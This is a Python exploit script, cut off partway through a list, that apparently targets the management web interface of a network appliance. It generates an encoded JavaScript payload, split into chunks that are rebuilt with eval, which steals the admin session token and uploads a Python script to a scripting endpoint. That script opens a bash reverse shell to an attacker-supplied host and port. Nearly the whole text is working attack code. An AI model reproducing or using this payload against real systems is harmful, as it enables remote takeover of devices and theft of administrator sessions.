#!/usr/bin/python3 import math import time import socket import base64 import argparse def encode_all(string): return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string) def genPayload(host, port): data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--' script_url = '/ui/#navigate/Config/system/aws_scripting' payload='''var xhr = new XMLHttpRequest(); xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true); xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]); xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380"); xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data payload=encode_all(payload) chunks = [payload[i:i+400] for i in range(0, len(payload), 400)] # We need to store chunks in a variable reading each row and then decode and eval it payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)] for i in chunks: payload.append("%s" % i) return payload uri=['','','','','','','','','',''] uri+=['